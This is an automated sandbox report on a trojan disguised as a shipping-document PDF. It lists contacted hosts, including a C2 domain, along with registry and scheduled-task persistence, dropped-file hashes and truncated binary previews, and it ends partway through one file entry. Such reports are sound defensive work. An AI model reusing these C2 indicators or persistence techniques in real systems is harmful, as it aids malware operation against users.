http://nsis.sf.net/NSIS_ErrorError	Original Shipment_Document.PDF.exe, windows.exe.136.dr	false		high
http://google.com	CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp	false		high
https://doc-14-70-docs.googleusercontent.com/%%doc-14-70-docs.googleusercontent.com	CasPol.exe, 00000088.00000003.185950717846.0000000001214000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.186208501547.00000000011FD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/	CasPol.exe, 00000088.00000003.186210437136.00000000011CD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/x~	CasPol.exe, 00000088.00000003.186210437136.00000000011CD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://csp.withgoogle.com/csp/report-to/DriveUntrustedContentHttp/external	CasPol.exe, 00000088.00000003.185946644468.000000000122A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.181.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
188.127.230.176	tuk.linkpc.net	Russian Federation	56694	DHUBRU	false
142.250.179.174	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	679174
Start date and time: 05/08/202211:30:23	2022-08-05 11:30:23 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Original Shipment_Document.PDF.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	154
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@192/15@92/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 29.8% (good quality ratio 29.4%) Quality average: 87.4% Quality standard deviation: 21.5%
HCA Information:	Successful, ratio: 96% Number of executed functions: 76 Number of non-executed functions: 152
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): spclient.wg.spotify.com, wdcpalt.microsoft.com, client.wns.windows.com, ctldl.windowsupdate.com, wdcp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:32:56	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce Startup key C:\Users\user\AppData\Local\Temp\subfolder1\windows.exe
11:32:59	Task Scheduler	Run new task: DSL Monitor path: "C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe" s>$(Arg0)
11:32:59	API Interceptor	4090x Sleep call for process: CasPol.exe modified
11:33:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce Startup key C:\Users\user\AppData\Local\Temp\subfolder1\windows.exe

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
tuk.linkpc.net	gunzipped.exe	Get hash	malicious	Browse	91.192.100.53
	gunzipped.exe	Get hash	malicious	Browse	188.127.237.221
	_WHL WEB BILL OF LADING 049CX07686 IDJKT.PDF.exe	Get hash	malicious	Browse	188.127.237.221

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DHUBRU	gunzipped.exe	Get hash	malicious	Browse	188.127.225.2
	http://okiyo.ru	Get hash	malicious	Browse	91.199.147.135
	SecuriteInfo.com.NSIS.Injector.ASH.7478.exe	Get hash	malicious	Browse	188.127.225.2
	gunzipped.exe	Get hash	malicious	Browse	188.127.225.2
	SecuriteInfo.com.Win32.Outbreak.28429.exe	Get hash	malicious	Browse	188.127.225.2
	BLTools v1.9.exe	Get hash	malicious	Browse	152.89.219.248
	SecuriteInfo.com.W32.AIDetectNet.01.27197.exe	Get hash	malicious	Browse	188.127.239.132
	CUSTOMER ADVISORY -PDF.exe	Get hash	malicious	Browse	188.127.239.132
	SecuriteInfo.com.W32.AIDetectNet.01.19222.exe	Get hash	malicious	Browse	188.127.239.132
	boatnet.i486	Get hash	malicious	Browse	152.89.218.126
	n0pFLfnhcO	Get hash	malicious	Browse	152.89.218.126
	OILHWCpZeP	Get hash	malicious	Browse	152.89.218.126
	ixXNsMjZzE	Get hash	malicious	Browse	152.89.218.126
	7wS4STmzAQ	Get hash	malicious	Browse	152.89.218.126
	fUpXQ4qP5W	Get hash	malicious	Browse	152.89.218.126
	6oJKj4Vbto	Get hash	malicious	Browse	152.89.218.126
	9FIf7iKGDP	Get hash	malicious	Browse	152.89.218.126
	vUrqZy52Zg	Get hash	malicious	Browse	152.89.218.126
	hQ6PT7PXXp	Get hash	malicious	Browse	152.89.218.126
	HlXhugraFv	Get hash	malicious	Browse	152.89.218.126

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	VoRTaSs6hl.exe	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	TK6iBGp8Bn.exe	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	2OmglUwx83.exe	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	bE5aaTiJM0.exe	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	https://e44d0bcf771442d1b7f980fb69a85e9a.svc.dynamics.com/t/r/QxAD3OL-Kzz_3R2oEdDMSYxT1Y8B16o062ijyH6-f7Y	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	bP5g4FsSJk.exe	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	GI3I8IbuVE.exe	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	uGfpJynSWM.exe	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	3CzQDO1WLI.exe	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	ej2hDYMBXF.exe	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	0qlnWcmhSC.exe	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	http://www.malware-traffic-analysis.net/2018/02/16/index.html	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	SecuriteInfo.com.W32.AIDetectNet.01.19566.exe	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	SecuriteInfo.com.W32.AIDetectNet.01.19595.exe	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	RevisedSalesContractINV.html	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	SecuriteInfo.com.Trojan.MSIL.FormBook.IZFA.MTB.26806.exe	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	Q3 Bonus1.HTMl	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	bf.exe	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	Secured_angela.johnson_Audio_Message.htm	Get hash	malicious	Browse	142.250.179.174 142.250.181.225
	SecuriteInfo.com.Trojan.GenericKD.61167322.14727.exe	Get hash	malicious	Browse	142.250.179.174 142.250.181.225

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll	Original Shipment_Document.PDF.exe	Get hash	malicious	Browse
	bf.exe	Get hash	malicious	Browse
	bf.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKD.61167322.14727.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKD.61167322.14727.exe	Get hash	malicious	Browse
	hVAj77o331.exe	Get hash	malicious	Browse
	hVAj77o331.exe	Get hash	malicious	Browse
	invesssss.exe	Get hash	malicious	Browse
	Lh6P9rwCju.exe	Get hash	malicious	Browse
	invesssss.exe	Get hash	malicious	Browse
	Lh6P9rwCju.exe	Get hash	malicious	Browse
	pKAW7R09ha.exe	Get hash	malicious	Browse
	Rnp7gsZAtH.exe	Get hash	malicious	Browse
	0xOTqBLwqS.exe	Get hash	malicious	Browse
	TgDofCOcVv.exe	Get hash	malicious	Browse
	pKAW7R09ha.exe	Get hash	malicious	Browse
	Y1VipMk6vh.exe	Get hash	malicious	Browse
	Rnp7gsZAtH.exe	Get hash	malicious	Browse
	xoFqJKku2Y.exe	Get hash	malicious	Browse
	LXYLAhHyUd.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\caspol.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	20
Entropy (8bit):	3.6841837197791887
Encrypted:	false
SSDEEP:	3:QHXMKas:Q3Las
MD5:	B3AC9D09E3A47D5FD00C37E075A70ECB
SHA1:	AD14E6D0E07B00BD10D77A06D68841B20675680B
SHA-256:	7A23C6E7CCD8811ECDF038D3A89D5C7D68ED37324BAE2D4954125D9128FA9432
SHA-512:	09B609EE1061205AA45B3C954EFC6C1A03C8FD6B3011FF88CF2C060E19B1D7FD51EE0CB9D02A39310125F3A66AA0146261BDEE3D804F472034DF711BC942E316
Malicious:	false
Preview:	1,"fusion","GAC",0..

C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Original Shipment_Document.PDF.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.814115788739565
Encrypted:	false
SSDEEP:	192:Zjvco0qWTlt70m5Aj/lQ0sEWD/wtYbBHFNaDybC7y+XBz0QPi:FHQlt70mij/lQRv/9VMjzr
MD5:	CFF85C549D536F651D4FB8387F1976F2
SHA1:	D41CE3A5FF609DF9CF5C7E207D3B59BF8A48530E
SHA-256:	8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545ED0B4E7F65A8
SHA-512:	531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89B0DB501FB66F827B610D460B933BD4AB936AC2FD8A88
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 1%, Browse Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Original Shipment_Document.PDF.exe, Detection: malicious, Browse Filename: bf.exe, Detection: malicious, Browse Filename: bf.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.GenericKD.61167322.14727.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.GenericKD.61167322.14727.exe, Detection: malicious, Browse Filename: hVAj77o331.exe, Detection: malicious, Browse Filename: hVAj77o331.exe, Detection: malicious, Browse Filename: invesssss.exe, Detection: malicious, Browse Filename: Lh6P9rwCju.exe, Detection: malicious, Browse Filename: invesssss.exe, Detection: malicious, Browse Filename: Lh6P9rwCju.exe, Detection: malicious, Browse Filename: pKAW7R09ha.exe, Detection: malicious, Browse Filename: Rnp7gsZAtH.exe, Detection: malicious, Browse Filename: 0xOTqBLwqS.exe, Detection: malicious, Browse Filename: TgDofCOcVv.exe, Detection: malicious, Browse Filename: pKAW7R09ha.exe, Detection: malicious, Browse Filename: Y1VipMk6vh.exe, Detection: malicious, Browse Filename: Rnp7gsZAtH.exe, Detection: malicious, Browse Filename: xoFqJKku2Y.exe, Detection: malicious, Browse Filename: LXYLAhHyUd.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....Oa...........!....."..................@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\nsExec.dll

Download File

Process:	C:\Users\user\Desktop\Original Shipment_Document.PDF.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	5.298362543684714
Encrypted:	false
SSDEEP:	96:J9zdzBzMDByZtr/HDQIUIq9m6v6vBckzu9wSBpLEgvElHlernNQaSGYuH2DQ:JykDr/HA5v6G2IElFernNQZGdHW
MD5:	675C4948E1EFC929EDCABFE67148EDDD
SHA1:	F5BDD2C4329ED2732ECFE3423C3CC482606EB28E
SHA-256:	1076CA39C449ED1A968021B76EF31F22A5692DFAFEEA29460E8D970A63C59906
SHA-512:	61737021F86F54279D0A4E35DB0D0808E9A55D89784A31D597F2E4B65B7BBEEC99AA6C79D65258259130EEDA2E5B2820F4F1247777A3010F2DC53E30C612A683
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 4%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,.................Rich...........................PE..L.....Oa...........!......................... ...............................P............@..........................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..<.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\subfolder1\windows.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	data
Category:	dropped
Size (bytes):	341696
Entropy (8bit):	6.715582122607077
Encrypted:	false
SSDEEP:	6144:KNeZc5FBkXpIwbmr2KEROaPdEY8mff3PgRsmq:KNRTr2KEROoT8mfH+q
MD5:	458455444C46D7E13BABA6869E0E8330
SHA1:	D62FF8C988EB65A078440FD186A65822CA7BCA2F
SHA-256:	5556540A27FC7046591CF885CB8240739F69F1651CC6823F9EB2B12AD094921B
SHA-512:	F7817258597D81969D69A895314F74E6C8BFCC93FC0B245372B46773AE535C880E5EA5BEC05E8741EC7860199FD4CCCC86F0AA012C47E77EE96090880232223B
Malicious:	false
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L....Oa.................f...*.......4............@.................................H8....@.......................................... .............../...............................................................................................text....e.......f.................. ..`.rdata...............j..............@..@.data...8............~..............@....ndata...p...............................rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6DD1.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1319
Entropy (8bit):	5.131285242271578
Encrypted:	false
SSDEEP:	24:2dH4+S/4oL600QlMhEMjn5pwjVLUYODOLG9RJh7h8gK0mnJxtn:cbk4oL600QydbQxIYODOLedq3ZJj
MD5:	497F298FC157762F192A7C42854C6FB6
SHA1:	04BEC630F5CC64EA17C0E3E780B3CCF15A35C6E0
SHA-256:	3462CBE62FBB64FC53A0FCF97E43BAAFE9DD9929204F586A86AFE4B89D8048A6
SHA-512:	C7C6FD3097F4D1CCD313160FEDF7CB031644E0836B8C3E25481095E5F4B003759BC84FC6EA9421E3A090E66DC2FF875FEC2F394A386691AB178CB164733411B2
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo />.. <Triggers />.. <Principals>.. <Principal id="Author">.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>.. <AllowHardTerminate>true</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <RestartOnIdle>false</RestartOnIdle>.. </IdleSettings>.. <AllowStartOnDemand>true</AllowStartOnDemand>.. <Enabled>true</Enabled>.. <Hidden>false</Hidden>.. <RunOnlyIfIdle>false</RunOnlyIfIdle>.. <Wak

C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\catalog.dat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	data
Category:	dropped
Size (bytes):	232
Entropy (8bit):	7.089541637477408
Encrypted:	false
SSDEEP:	3:XrURGizD7cnRNGbgCFKRNX/pBK0jCV83ne+VdWPiKgmR7kkmefoeLBizbCuVkqYM:X4LDAnybgCFcps0OafmCYDlizZr/i/Oh
MD5:	9E7D0351E4DF94A9B0BADCEB6A9DB963
SHA1:	76C6A69B1C31CEA2014D1FD1E222A3DD1E433005
SHA-256:	AAFC7B40C5FE680A2BB549C3B90AABAAC63163F74FFFC0B00277C6BBFF88B757
SHA-512:	93CCF7E046A3C403ECF8BC4F1A8850BA0180FE18926C98B297C5214EB77BC212C8FBCC58412D0307840CF2715B63BE68BACDA95AA98E82835C5C53F17EF38511
Malicious:	false
Preview:	Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.... S....}FF.2...h.M+....L.#.X..+......*....~f.G0^..;....W2.=...K.~.L..&f...p............:7rH}..../H......L...?...A.K...J.=8x!....+.2e'..E?.G......[.&

C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\run.dat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	Non-ISO extended-ASCII text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:cJl:kl
MD5:	9817B1B163B64F70946CBDB1318DA30F
SHA1:	7491F8C50AA2E73D37B8C80EA0E11507F8F9A7F6
SHA-256:	14E0030F69EE0F50E4A910B02EA095BAACAC38E83ED955B3AD5E482A5CF33641
SHA-512:	4A8D2C5B840C9FEA10D90C9ADA3A55D9476F1DFF2294D16C01716BB342A61F5A297CF5C4B42B95DCD957BFCEF816035A6A53B3C562D66AD9CC9A72F477F94003
Malicious:	true
Preview:	....v.H

C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\settings.bin

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	5.153055907333276
Encrypted:	false
SSDEEP:	3:9bzY6oRDT6P2bfVn1:RzWDT621
MD5:	4E5E92E2369688041CC82EF9650EDED2
SHA1:	15E44F2F3194EE232B44E9684163B6F66472C862
SHA-256:	F8098A6290118F2944B9E7C842BD014377D45844379F863B00D54515A8A64B48
SHA-512:	1B368018907A3BC30421FDA2C935B39DC9073B9B1248881E70AD48EDB6CAA256070C1A90B97B0F64BBE61E316DBB8D5B2EC8DBABCD0B0B2999AB50B933671ECB
Malicious:	false
Preview:	9iH...}Z.4..f.~a........~.~.......3.U.

C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\storage.dat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	data
Category:	dropped
Size (bytes):	426832
Entropy (8bit):	7.999527918131335
Encrypted:	true
SSDEEP:	6144:zKfHbamD8WN+JQYrjM7Ei2CsFJjyh9zvgPonV5HqZcPVT4Eb+Z6no3QSzjeMsdF/:zKf137EiDsTjevgArYcPVLoTQS+0iv
MD5:	653DDDCB6C89F6EC51F3DDC0053C5914
SHA1:	4CF7E7D42495CE01C261E4C5C4B8BF6CD76CCEE5
SHA-256:	83B9CAE66800C768887FB270728F6806CBEBDEAD9946FA730F01723847F17FF9
SHA-512:	27A467F2364C21CD1C6C34EF1CA5FFB09B4C3180FC9C025E293374EB807E4382108617BB4B97F8EBBC27581CD6E5988BB5E21276B3CB829C1C0E49A6FC9463A0
Malicious:	false
Preview:	..g&jo...IPg...GM....R>i...o...I.>.&.r{....8...}...E....v.!7.u3e.. .....db...}.......".t(.xC9.cp.B....7...'.......%......w.^.._.......B.W%.<..i.0.{9.xS...5...)..w..$..C..?`F..u.5.T.X.w'Si..z.n{...Y!m...RA...xg....[7...z..9@.K.-...T..+.ACe....R....enO.....AoNMT.\^....}H&..4I...B.:..@..J...v..rI5..kP......2j....B..B.~.T..>.c..emW;Rn<9..[.r.o....R[....@=...:...L.g<.....I..%4[.G^.~.l'......v.p&.........+..S...9d/.{..H.`@.1..........f.\s...X.a.].<.h...J4...k.x....%3.......3.c..?%....>.!.}..)(.{...H...3..`'].Q.[sN..JX(.%pH....+......(...v.....H...3..8.a_..J..?4...y.N(..D.h..g.jD..I...44Q?..N......oX.A......l...n?./..........$.!..;.^9"H...........OkF....v.m_.e.v..f...."..bq{.....O.-....%R+...-..P.i..t5....2Z# ...#...,L..{..j..heT -=Z.P;...g.m)<owJ].J..../.p..8.u8.&..#.m9...j%..g&....g.x.I,....u.[....>./W...........X...bZ...ex.0..x.}.....Tb...[..H_M._.^N.d&...g._."@4N.pDs].GbT.......&p........Nw...%$=.....{..J.1....2....<E{..<!G..

C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\task.dat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.745141646068962
Encrypted:	false
SSDEEP:	3:oMty8WbSmm:oMLWumm
MD5:	F781103B538E4159A8F01E3BE09B1F8D
SHA1:	27992585DE22A095BABCFD75E8F96710DD921C37
SHA-256:	BEA91983791C26C19AA411B2870E89AFC250EAF9855B6E1CE7BEA02B74E7F368
SHA-512:	D50AE0A01E74FC263B704FADE17CDF4993B61E34FD498827D546F090CE2DA5E8F24D4D34FBF360AE7EE5C5E7E3F032F3DDA8AD0C2A2CF0E1DAFEED61258AB4CA
Malicious:	false
Preview:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen\Integrationsprvens.Adg72

Download File

Process:	C:\Users\user\Desktop\Original Shipment_Document.PDF.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	56802
Entropy (8bit):	3.999776572782735
Encrypted:	false
SSDEEP:	1536:MiSOEpxqtPV0vXzt3Ov2Kh2+ir/qY3TAK7tgjofP:QpeSPztK2YVK7iE
MD5:	7C22C978F9497BB753456B3AA833F7DE
SHA1:	5566F37ED12035AD659E8E71B09A46FC3A907D27
SHA-256:	8126292C7A2EE04C5D5286BCD0584CF8FF39745F17E28DE70A72CBF1EBCA900B
SHA-512:	C33B835EFC5EB8C19A6429E588D8BD6BBD6C26DA379B7F24A6322CDF09094DF777C7C1DBB0B41E43EE5F24D5A11374E2D95135E70EC4285C0C28A8D3F764424B
Malicious:	false
Preview:	751B5626ED1D59DCECA17FC07B6590E02267FE3B2CD7A757A3164D2442E94F22E7417624324FB00CADEF5E125A7A344E60BED74BC30F36CD1FC851B3AD4732C6EA226EB072F8E714BFA6387A8D207880017E9AC6FEEBE6A73C2845B2010C4322E8DC529575F955085F49CFD5389BA20DB5FE9CCA8B739E136A7672B5D2F4472D326B8961AC7A1D2BE941B3207256738921359864F7DCD7AEC49C3C1E7CC69AF9A2AF9CB338F2002503BA46ECAC9CB7044F3290D90BAC2852B3BB0083DC03E4D5EBA5CEA9D0A787F3862CCD2C6EC3325DEACC5CB5818C829C68E98E4C9833F007B86693B4C6776056B342C33E34C5201C378F536C73A444DA46B37933404F6CDE80F0FF3BEE724769B921E9A924F35714874EB7DC63C16604B0487C1A2F1D201C1C8B5CD77378607E2DF7037056A2043753275C1A55BA8CD1CFEC4571E57D5A2331ED816A72AD23FF030A715BC4CDEF157B56B25E576F4F59EB903849D9446368C20AC6283FDD2627141ED25B1A794C55D1FDD15E1F6F5B78A58957BA7871754426D16868771513FAD305AEA8DD85058FC14F2437A34BBC4DEBA70E52D1ACE512EA32218DFED4211F0B5EA40ECD74C2062AA179E6DD0BBE910ADAA8CC1974916BD62BE762ED036F9C2A8BDF043DBB4411C94797F2B82DE9BA0A257AC9E7458DE83CC1AAF0A8D0249200F483B276BFE5D91DFE0787

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen\format-text-bold-symbolic.svg

Download File

Process:	C:\Users\user\Desktop\Original Shipment_Document.PDF.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1330
Entropy (8bit):	4.276818433927216
Encrypted:	false
SSDEEP:	24:2dPnnxu3tlACrmYbJ1BtxhUuLos3CrmYbJ1qtxhUuLosN:cfnz6XXNUuLos36XcNUuLosN
MD5:	B0BE3814C6303C5B8C080D654FDF2EA7
SHA1:	8231CACDA98442D068D80EC063CE75DC05AE7A2E
SHA-256:	4A71E8903E3673A98AB8D8BAC7579F7EA2D8C016ADC7ABC6EA23F5565D8643DA
SHA-512:	62F55F19DFE1A8D9B12CD4968401CA19ED332298FBA3ED9DCF714F5E41BA41ED1F8DE07F9F55C90E6B461B73A5F34C2E9C4F505B736960BE814ACB3779F6937A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg">. <g fill="#2e3436">. <path d="m 5 3 v 2 h 6 c 0.429688 0 1 0.613281 1 1 v 1 h -5 c -0.917969 0 -1.734375 0.378906 -2.25 0.964844 c -0.515625 0.585937 -0.742188 1.324218 -0.738281 2.046875 c 0.007812 0.71875 0.246093 1.445312 0.757812 2.027343 c 0.515625 0.578126 1.320313 0.960938 2.230469 0.960938 h 7 v -7 c 0 -1.632812 -1.320312 -3 -3 -3 z m 2 6 h 5 v 2 h -5 c -0.398438 0 -0.578125 -0.117188 -0.730469 -0.289062 c -0.152343 -0.167969 -0.253906 -0.441407 -0.257812 -0.722657 c 0 -0.277343 0.09375 -0.539062 0.238281 -0.703125 c 0.148438 -0.164062 0.328125 -0.285156 0.75 -0.285156 z m 0 0"/>. <path d="m 4 3 v 2 h 5 c 0.429688 0 1 0.613281 1 1 v 1 h -5 c -0.917969 0 -1.734375 0.378906 -2.25 0.964844 c -0.515625 0.585937 -0.742188 1.324218 -0.738281 2.046875 c 0.007812 0.71875 0.246093 1.445312 0.757812 2.027343 c 0.515625 0.578126 1.320313 0.960938

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen\location-services-disabled-symbolic.symbolic.png

Download File

Process:	C:\Users\user\Desktop\Original Shipment_Document.PDF.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	285
Entropy (8bit):	7.002882763277556
Encrypted:	false
SSDEEP:	6:6v/lhPysuci+aOXTk585U+UliBie7cQkF2HTtWAJdp:6v/7Oci+aOogUVli9AZWBz
MD5:	91B30844C5145188A9DCE697271B8BCF
SHA1:	69C3F0AFA91A3E725A26017EC282499152500DC9
SHA-256:	3B79DEE63724F1BAFFB1E51D55CB96CEB2849C0536000BE3A6C848CE36230049
SHA-512:	6AAF7F986B121484A96B3C85CA382A471DC2B6CFC87C7D7C1838714217C17199649A98825AFF70E62CD0DC2E9C6A3DDF41E4CC743CD44977A452F494340BD7C7
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d.....IDAT8...1J.A........Q...!.I....V.B:.Li.5.F0'.Hi'X.....h.op\t...S..vwh...t..a...^1B/C..2....:Y..W.E.Kl`.W.......@......w..s&..x..V*.Y3..c.\|e.......%.......y..).y8P#c..3.xL..`..c..{......S...R.1.~.....di....W-z._.....IEND.B`.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen\uforfrdetheden.Rid

Download File

Process:	C:\Users\user\Desktop\Original Shipment_Document.PDF.exe
File Type:	data
Category:	dropped
Size (bytes):	99762
Entropy (8bit):	7.345890691572136
Encrypted:	false
SSDEEP:	1536:C42UhrrhyVKSRG5jbu3E4CIJB8SkPoVcrlCDh4AusPrji0Dz:GG0KSRCnu3E9qdbos94AuuPP/
MD5:	251EE827C992B4E481634030C2E681F3
SHA1:	88065FA2EDAE7B94B6891675DF8A9028DC5F28E6
SHA-256:	E9DD8E6A46B89E22E83743D0578339458E7C2CE719BFF5FDD9FDC66652DB161A
